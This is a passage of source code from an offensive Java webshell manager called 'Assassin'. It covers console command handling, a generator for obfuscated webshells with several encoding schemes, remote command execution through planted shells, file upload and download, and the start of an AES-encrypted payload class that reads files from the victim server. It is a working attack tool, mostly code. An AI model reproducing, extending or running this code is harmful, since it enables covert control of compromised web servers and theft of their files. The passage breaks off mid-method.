233 | System.out.println("\t" + Config.getYColor("reset") + " 1");
234 | break;
235 | case "getshell":
236 | System.out.println("Usage:");
237 | System.out.println("\t" + Config.getYColor("getshell"));
238 | System.out.println("=================================================");
239 | System.out.println("Enter shell command execution mode, can only be used after obtaining session.");
240 | System.out.println("=================================================");
241 | System.out.println("Example:");
242 | System.out.println("\t" + Config.getYColor("getshell"));
243 | break;
244 | case "exit":
245 | System.out.println("Exit program");
246 | break;
247 | case "show":
248 | System.out.println("Show all webshell");
249 | break;
250 | case "delete":
251 | System.out.println("Usage:");
252 | System.out.println("\t" + Config.getYColor("delete") + " id");
253 | System.out.println("=================================================");
254 | System.out.println("Delete a webshell");
255 | System.out.println(Config.getYColor("id:") + " webshell id (tip: exec 'show')");
256 | System.out.println("=================================================");
257 | System.out.println("Example:");
258 | System.out.println("\t" + Config.getYColor("delete") + " 1");
259 | break;
260 | case "back":
261 | System.out.println("Go back to the previous menu");
262 | break;
263 | }
264 | return false;
265 | }
266 |
267 | System.out.println("Core Commands");
268 | System.out.println("=============");
269 | System.out.printf("%-14s", "\tCommand");
270 | System.out.printf("%-35s%n", "Description");
271 | System.out.printf("%-14s", "\t-------");
272 | System.out.printf("%-35s%n", "-----------");
273 | System.out.printf("%-25s", "\t" + Config.getYColor("help"));
274 | System.out.printf("%-35s%n", "View help information");
275 | System.out.printf("%-25s", "\t" + Config.getYColor("exit"));
276 | System.out.printf("%-35s%n", "Exit program");
277 | System.out.printf("%-25s", "\t" + Config.getYColor("show"));
278 | System.out.printf("%-35s%n", "Show all webshell");
279 | System.out.printf("%-25s", "\t" + Config.getYColor("add"));
280 | System.out.printf("%-35s%n", "Add a webshell");
281 | System.out.printf("%-25s", "\t" + Config.getYColor("delete"));
282 | System.out.printf("%-35s%n", "Delete a webshell");
283 | System.out.printf("%-25s", "\t" + Config.getYColor("set"));
284 | System.out.printf("%-35s%n", "Modify a webshell setting");
285 | System.out.printf("%-25s", "\t" + Config.getYColor("session"));
286 | System.out.printf("%-35s%n", "Get a webshell controller");
287 | System.out.printf("%-25s", "\t" + Config.getYColor("reset"));
288 | System.out.printf("%-35s%n", "Reset webshell classload info");
289 | System.out.printf("%-25s", "\t" + Config.getYColor("new"));
290 | System.out.printf("%-35s%n", "Generate a webshell");
291 | System.out.println();
292 |
293 | System.out.println("Webshell Controller Commands");
294 | System.out.println("============================");
295 | System.out.printf("%-14s", "\tCommand");
296 | System.out.printf("%-35s%n", "Description");
297 | System.out.printf("%-14s", "\t-------");
298 | System.out.printf("%-35s%n", "-----------");
299 | System.out.printf("%-25s", "\t" + Config.getYColor("getshell"));
300 | System.out.printf("%-35s%n", "get remote shell");
301 | System.out.printf("%-25s", "\t" + Config.getYColor("upload"));
302 | System.out.printf("%-35s%n", "upload file to the server");
303 | System.out.printf("%-25s", "\t" + Config.getYColor("download"));
304 | System.out.printf("%-35s%n", "download file to the local");
305 | System.out.printf("%-25s", "\t" + Config.getYColor("back"));
306 | System.out.printf("%-35s%n", "Go back to the previous menu");
307 | System.out.println();
308 |
309 | System.out.println("b1ackc4t");
310 | System.out.println("========");
311 | System.out.println("\tYou can exec 'help [command]' to get more info. Such as 'help add'");
312 |
313 | return false;
314 | }
315 |
316 | public boolean doSession(String[] args, Map kwargs) {
317 | if (args == null || args.length < 1) {
318 | System.out.println("too few arguments");
319 | return false;
320 | }
321 | int id = Integer.parseInt(args[0]);
322 | if (id > db.getEndID()) {
323 | System.out.println("session id not found!");
324 | return false;
325 | }
326 | String[] arr_temp = db.getShellInfo(id);
327 | String shell_url = arr_temp[0];
328 | String pass = arr_temp[1];
329 | type = arr_temp[2];
330 | String method = arr_temp[3];
331 | String reqEncode = arr_temp[4];
332 | String resEncode = arr_temp[5];
333 | sender = new Sender(shell_url, pass, type, method, headers);
334 | sender.resEncode = resEncode;
335 | sender.reqEncode = reqEncode;
336 | if (sender.testCon()) {
337 | session_id = Integer.parseInt(args[0]);
338 | prompt = label + "|" + type + " >";
339 | db.changeShell(session_id, "status", "1");
340 | System.out.println("OK");
341 | } else {
342 | sender = null;
343 | db.changeShell(session_id, "status", "0");
344 | System.out.println("Connection Failure");
345 | }
346 |
347 | return false;
348 | }
349 |
350 | public boolean doBack(String[] args, Map kwargs) {
351 | if (!current_path.equals("")) {
352 | current_path = "";
353 | prompt = label + "|" + type + " >";
354 | System.out.println("OK");
355 | return false;
356 | }
357 |
358 | if (session_id != 0) {
359 | session_id = 0;
360 | sender = null;
361 | prompt = label + " >";
362 | System.out.println("OK");
363 | return false;
364 | }
365 | return false;
366 |
367 | }
368 |
369 | public boolean preCmd(Command command) {
370 | if(Arrays.asList(commands).contains(command.getCmd()) ) {
371 | return false;
372 | }
373 | if (!current_path.equals("")) {
374 | try {
375 | Charset charSet = null;
376 | if (os.equals("windows")) {
377 | charSet = Charset.forName("GBK");
378 | } else {
379 | charSet = StandardCharsets.UTF_8;
380 | }
381 | String cmd =command.getRaw();
382 | if (command.getCmd().equals("Cd")) {
383 | String tmpCmd = null;
384 | if (os.equals("windows")) {
385 | tmpCmd = cmd + "& chdir";
386 | } else {
387 | tmpCmd = cmd + "& pwd";
388 | }
389 | JSONObject result_json = sender.rce(tmpCmd);
390 | if (result_json.getString("status").equals("c3VjY2Vzcw==")) {
391 | System.out.println("success");
392 | current_path = new String(Crypt.b64Decoder.decode(result_json.getString("msg")), charSet).trim();
393 | prompt = label + "|" + type + "|" + current_path + " >";
394 | return true;
395 | } else {
396 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(result_json.getString("msg"))));
397 | return true;
398 | }
399 | } else {
400 | JSONObject result_json = sender.rce("cd " + current_path + " & " + cmd);
401 | if (result_json.getString("status").equals("c3VjY2Vzcw==")) {
402 | System.out.println(new String(Crypt.b64Decoder.decode(result_json.getString("msg")), charSet));
403 | return true;
404 | } else {
405 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(result_json.getString("msg"))));
406 | return false;
407 | }
408 | }
409 | } catch (Exception e) {
410 | e.printStackTrace();
411 | return false;
412 | }
413 | }
414 | return false;
415 | }
416 |
417 | private String getCurrent_path()
418 | {
419 | JSONObject result_json = sender.rce("uname -a");
420 | if (result_json.getString("status").equals("c3VjY2Vzcw==")) {
421 | if(new String(Crypt.b64Decoder.decode(result_json.getString("msg"))).contains("Linux"))
422 | {
423 | current_path = new String(Crypt.b64Decoder.decode(sender.rce("pwd").getString("msg")));
424 | os = "linux";
425 | pathSep = "/";
426 | }
427 | else {
428 | current_path = new String(Crypt.b64Decoder.decode(sender.rce("chdir").getString("msg")));
429 | os = "windows";
430 | pathSep = "\\";
431 | }
432 | return current_path.trim();
433 | } else {
434 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(result_json.getString("msg"))));
435 | return null;
436 | }
437 | }
438 |
439 | public boolean doGetshell(String[] args, Map kwargs) {
440 | if (session_id == 0) {
441 | System.out.println("Please enter a session(session [id])");
442 | return false;
443 | }
444 | String res = getCurrent_path();
445 | if (res != null) {
446 | current_path = res;
447 | prompt = label + "|" + type + "|" + current_path + " >";
448 | System.out.println("OK! you can now execute the shell command.");
449 | }
450 | return false;
451 |
452 | }
453 |
454 | public boolean doUpload(String[] args, Map kwargs) {
455 | if (session_id == 0) {
456 | System.out.println("Please enter a session(session [id])");
457 | return false;
458 | }
459 | JFileChooser fd = new JFileChooser();
460 | fd.setCurrentDirectory(new File("."));
461 | fd.setDialogTitle("请选择要上传的文件");
462 | fd.showOpenDialog(null);
463 | File f = fd.getSelectedFile();
464 | String remotePath = (args != null && args.length > 0) ? args[0] : current_path + pathSep + f.getName();
465 | JSONObject res = sender.upload(f.getAbsolutePath(), remotePath);
466 | if (res.getString("status").equals("c3VjY2Vzcw==")) {
467 | System.out.println(f.getAbsolutePath() + " has been uploaded -> " + remotePath);
468 | } else {
469 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(res.getString("msg"))));
470 | }
471 | return false;
472 | }
473 |
474 | public boolean doDownload(String[] args, Map kwargs) {
475 | if (session_id == 0) {
476 | System.out.println("Please enter a session(session [id])");
477 | return false;
478 | }
479 | if (args == null || args.length < 1) {
480 | System.out.println("too few arguments");
481 | return false;
482 | }
483 |
484 | String remote_path = args[0];
485 | JSONObject result = sender.download(remote_path);
486 | if (result.getString("status").equals("c3VjY2Vzcw==")) {
487 | JFileChooser fd = new JFileChooser();
488 | fd.setCurrentDirectory(new File("."));
489 | fd.setDialogTitle("请输入要保存的文件名");
490 | fd.showOpenDialog(null);
491 | File f = fd.getSelectedFile();
492 | if (Utils.writeFileByBytes(f, Crypt.b64Decoder.decode(result.getString("msg")))) {
493 | System.out.println(remote_path + " has been saved -> " + f.getAbsolutePath());
494 | } else {
495 | System.out.println("fail!");
496 | }
497 | } else {
498 | System.out.printf("fail! message: %s%n", new String(Crypt.b64Decoder.decode(result.getString("msg"))));
499 | }
500 | return false;
501 | }
502 |
503 | /**
504 | * 目标payload已经失效,让某个shell重新传输payload
505 | * @param args
506 | * @return
507 | */
508 | public boolean doReset(String[] args, Map kwargs) {
509 | if (args == null || args.length < 1) {
510 | System.out.println("too few arguments");
511 | return false;
512 | }
513 |
514 | int ID = Integer.parseInt(args[0]);
515 | db.resetClassInfo(ID);
516 | System.out.println("OK");
517 | return false;
518 | }
519 |
520 | public boolean doNew(String[] args, Map kwargs) {
521 | if (args == null || args.length < 2) {
522 | System.out.println("too few arguments");
523 | return false;
524 | }
525 |
526 | String type = args[0].toLowerCase();
527 | String pass = args[1];
528 | String method = (args.length > 2) ? args[2].toLowerCase() : "post";
529 | String reqEncode = (args.length > 3) ? args[3].toLowerCase() : "base64_1";
530 | String tamper = (args.length > 4) ? args[4].toLowerCase() : "common.txt";
531 | method = kwargs.getOrDefault("method", method);
532 | reqEncode = kwargs.getOrDefault("reqencode", reqEncode);
533 | tamper = kwargs.getOrDefault("tamper", tamper);
534 | String webshellCode = null;
535 | if (type.equals("java")) {
536 | switch (reqEncode) {
537 | case "base64_1":
538 | webshellCode = JavaTemplate.javaBase64_1(pass, tamper, method);
539 | break;
540 | case "base64_2":
541 | webshellCode = JavaTemplate.javaBase64_2(pass, tamper, method);
542 | break;
543 | case "base36":
544 | webshellCode = JavaTemplate.javaBase36(pass, tamper, method);
545 | break;
546 | case "hex":
547 | webshellCode = JavaTemplate.javaHex(pass, tamper, method);
548 | break;
549 | default:
550 | System.out.println("unsupported reqEncode!");
551 | return false;
552 | }
553 | } else {
554 | System.out.println("unsupported type!");
555 | return false;
556 | }
557 | if (webshellCode == null) return false;
558 | JFileChooser fd = new JFileChooser();
559 | fd.setCurrentDirectory(new File("."));
560 | fd.setDialogTitle("请输入要保存的文件名");
561 | fd.showOpenDialog(null);
562 | File f = fd.getSelectedFile();
563 | if (Utils.writeFileByString(f, webshellCode)) {
564 | System.out.println("saved -> " + f.getAbsolutePath());
565 | } else {
566 | System.out.println("fail!");
567 | }
568 |
569 | return false;
570 | }
571 | }
572 |
--------------------------------------------------------------------------------
/src/main/java/org/b1ackc4t/main/Main.java:
--------------------------------------------------------------------------------
1 | package org.b1ackc4t.main;
2 |
3 | public class Main {
4 | public static void main(String[] args) {
5 | String version = "v1.0";
6 | System.out.format("\n" +
7 | " █████╗ ███████╗███████╗ █████╗ ███████╗███████╗██╗███╗ ██╗\n" +
8 | "██╔══██╗██╔════╝██╔════╝██╔══██╗██╔════╝██╔════╝██║████╗ ██║\n" +
9 | "███████║███████╗███████╗███████║███████╗███████╗██║██╔██╗ ██║\n" +
10 | "██╔══██║╚════██║╚════██║██╔══██║╚════██║╚════██║██║██║╚██╗██║\n" +
11 | "██║ ██║███████║███████║██║ ██║███████║███████║██║██║ ╚████║\n" +
12 | "╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝╚═╝ ╚═══╝\n" +
13 | " %30s \n" +
14 | " %32s %s\n", "I believe you can do it", "by b1ackc4t", version);
15 | Console c = new Console();
16 | c.cmdLoop();
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/src/main/java/org/b1ackc4t/payload/java/Download.java:
--------------------------------------------------------------------------------
1 | package org.b1ackc4t.payload.java;
2 |
3 | import javax.crypto.Cipher;
4 | import javax.crypto.spec.SecretKeySpec;
5 | import java.io.ByteArrayOutputStream;
6 | import java.io.FileInputStream;
7 | import java.lang.reflect.Method;
8 | import java.math.BigInteger;
9 | import java.util.*;
10 |
11 | public class Download {
12 | public static String path;
13 | private Object res;
14 | public static String key;
15 | public static int encode;
16 | public boolean equals(Object obj) {
17 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
18 | Object o;
19 | Method m;
20 | try {
21 | fill(obj);
22 | bos.write("1@".getBytes());
23 | bos.write(download());
24 | } catch (Exception e) {
25 | try {
26 | bos.reset();
27 | bos.write("0@".getBytes());
28 | } catch (Exception r) {
29 | }
30 | }
31 |
32 | try {
33 | o = res.getClass().getMethod("getOutputStream").invoke(res);
34 | m = o.getClass().getMethod("write", byte[].class);
35 | byte[] r = encrypt(bos.toByteArray());
36 | bos.close();
37 | switch (encode) {
38 | case 0:
39 | break;
40 | case 1:
41 | r = new BigInteger(r).toString(16).getBytes();
42 | break;
43 | case 2:
44 | r = new BigInteger(r).toString(36).getBytes();
45 | break;
46 | default:
47 | if (System.getProperty("java.version").compareTo("1.8") >= 0) {
48 | r = Base64.getEncoder().encode(r);
49 | } else {
50 | r = new sun.misc.BASE64Encoder().encode(r).getBytes();
51 | }
52 | }
53 | m.invoke(o, r);
54 | o.getClass().getMethod("flush").invoke(o);
55 | o.getClass().getMethod("close").invoke(o);
56 | // Response.getOutputStream().write(this.Encrypt(bos.toByteArray()));
57 | // Response.getOutputStream().flush();
58 | // Response.getOutputStream().close();
59 | } catch (Exception e) {
60 | }
61 | return true;
62 | }
63 |
64 | private byte[] download() throws Exception {
65 | FileInputStream fis = new FileInputStream(path);
66 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
67 | byte[] buffer = new byte[1024 * 1024];
68 | int length;
69 |
70 | while((length = fis.read(buffer)) > 0) {
71 | bos.write(buffer, 0, length);
72 | }
73 | byte[] t = bos.toByteArray();
74 | bos.close();
75 | return t;
76 | }
77 |
78 | private byte[] encrypt(byte[] bs) throws Exception {
79 | Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
80 | c.init(1, new SecretKeySpec(key.getBytes("utf-8"), "AES"));
81 | return c.doFinal(bs);
82 | }
83 |
84 | private void fill(Object obj) throws Exception {
85 | List